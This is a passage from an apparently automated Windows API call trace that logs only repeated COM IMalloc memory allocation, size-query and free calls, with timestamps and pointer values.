pv=0x2764b9d7980) [0110.657] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09320 [0110.657] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09320) returned 0x8 [0110.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09320) [0110.657] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0110.657] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0110.658] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0110.658] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7ee0 [0110.658] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x18 [0110.658] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.659] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09070 [0110.659] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09070) returned 0x8 [0110.659] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09070) [0110.659] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092d0 [0110.659] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) returned 0x8 [0110.659] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) [0110.659] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ee0 [0110.659] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x10 [0110.660] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.660] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb03500 [0110.660] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03500) returned 0x20 [0110.660] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03500) [0110.660] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8291f0 [0110.660] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8291f0) returned 0x30 [0110.661] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8291f0) [0110.661] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b882a00 [0110.661] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882a00) returned 0x48 [0110.662] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b882a00) [0110.662] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0110.662] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0110.663] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0110.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a00 [0110.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a00) returned 0x10 [0110.663] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a00) [0110.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09130 [0110.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09130) returned 0x8 [0110.663] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09130) [0110.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ee0 [0110.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x10 [0110.664] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.664] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0110.664] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0110.664] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0110.664] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a80 [0110.664] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a80) returned 0x10 [0110.664] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a80) [0110.664] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0110.664] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0110.664] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0110.664] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7ee0 [0110.665] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) returned 0x10 [0110.665] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ee0) [0110.665] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09160 [0110.665] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09160) returned 0x8 [0110.665] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09160) [0110.665] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c20 [0110.665] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7c20) returned 0x10 [0110.665] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c20) [0110.665] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09240 [0110.665] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09240) returned 0x8 [0110.666] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09240) [0110.666] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fb0 [0110.666] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) returned 0x8 [0110.666] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fb0) [0110.666] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0110.666] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0110.667] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0110.667] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0110.667] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0110.667] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0110.667] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09000 [0110.667] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09000) returned 0x8 [0110.667] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09000) [0110.667] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f50 [0110.667] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) returned 0x8 [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) [0110.668] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0110.668] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0110.668] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7860 [0110.668] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7860) returned 0x10 [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7860) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7880) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7120) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c60) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d74c0) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6920) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7140) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0110.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68c0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ec0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d78c0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6fc0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7d20) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7340) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7d80) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d70c0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7bc0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7540) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7f00) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6fe0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d71e0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7180) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b20) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7200) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7de0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d75a0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7f40) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7400) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7000) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7380) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7cc0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ea0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a20) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e80) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7960) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7580) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7dc0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7d40) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7900) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7220) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6da0) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7280) [0110.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7740) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7460) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d76c0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d76a0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6f80) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d74a0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d71a0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7020) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7660) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d77a0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7780) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7920) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c80) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b40) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7a40) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7f20) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7da0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e60) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7300) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d75c0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7d60) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b60) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7040) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d70a0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7600) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7640) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e20) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d79c0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7480) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7680) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7ce0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7360) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d72c0) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7240) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7260) [0110.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c40) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7620) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d72a0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7100) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50bcb0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829af0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04100) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04190) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829e70) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04970) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829970) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb041c0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04010) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04490) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb042e0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04a60) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a5f0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829830) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04340) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb044c0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb048e0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb045e0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04040) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb041f0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04730) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04250) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a730) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829930) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03f20) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04940) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04430) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb040a0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04850) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04a00) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb045b0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829e30) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829eb0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb049a0) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04220) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04550) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04580) [0110.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a6b0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829d70) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03fe0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb040d0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a0b0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04130) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04520) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04310) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04610) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb049d0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04160) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04070) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03fb0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04ac0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04280) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829ab0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829770) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a370) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a470) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04a90) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb042b0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb046a0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04370) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829bb0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829870) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03ef0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb047c0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb047f0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04460) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03f50) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04640) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03f80) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04400) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb043a0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04a30) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb043d0) [0110.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb044f0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04670) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb046d0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04700) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04760) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04820) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a130) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829fb0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04790) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04880) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb048b0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04910) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04be0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8299f0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a030) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8297b0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829ff0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb056c0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04fa0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04d00) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb04bb0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05000) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb051e0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a070) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8297f0) [0110.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a2b0) [0110.674] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b829db0 [0110.674] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb04e80 [0110.674] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb052a0 [0110.674] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05390 [0110.674] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8297f0 [0110.674] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05270 [0110.674] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04e20 [0110.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05210 [0110.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb052d0 [0110.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04df0 [0110.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb04d30 [0110.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb04f10 [0110.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50f180 [0110.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0110.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6cc0 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d80 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6da0 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0110.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0110.677] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0110.677] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68c0 [0110.677] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b883a90 [0110.677] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b883a90) returned 0x40 [0110.746] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b883a90) [0110.746] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b883b30 [0110.746] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b883b30) returned 0x40 [0110.750] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b883b30) [0110.750] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0110.750] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0110.750] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0110.750] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0110.750] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0110.751] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0110.752] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d6f80 [0110.752] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d6f80) returned 0x10 [0110.753] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d6f80) [0110.753] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0110.753] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0110.753] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0110.753] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b8830e0 [0110.753] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8830e0) returned 0x40 [0110.754] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8830e0) [0110.754] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7500 [0110.754] IMalloc:GetSize (This=0x7ff9e7edf3f0, 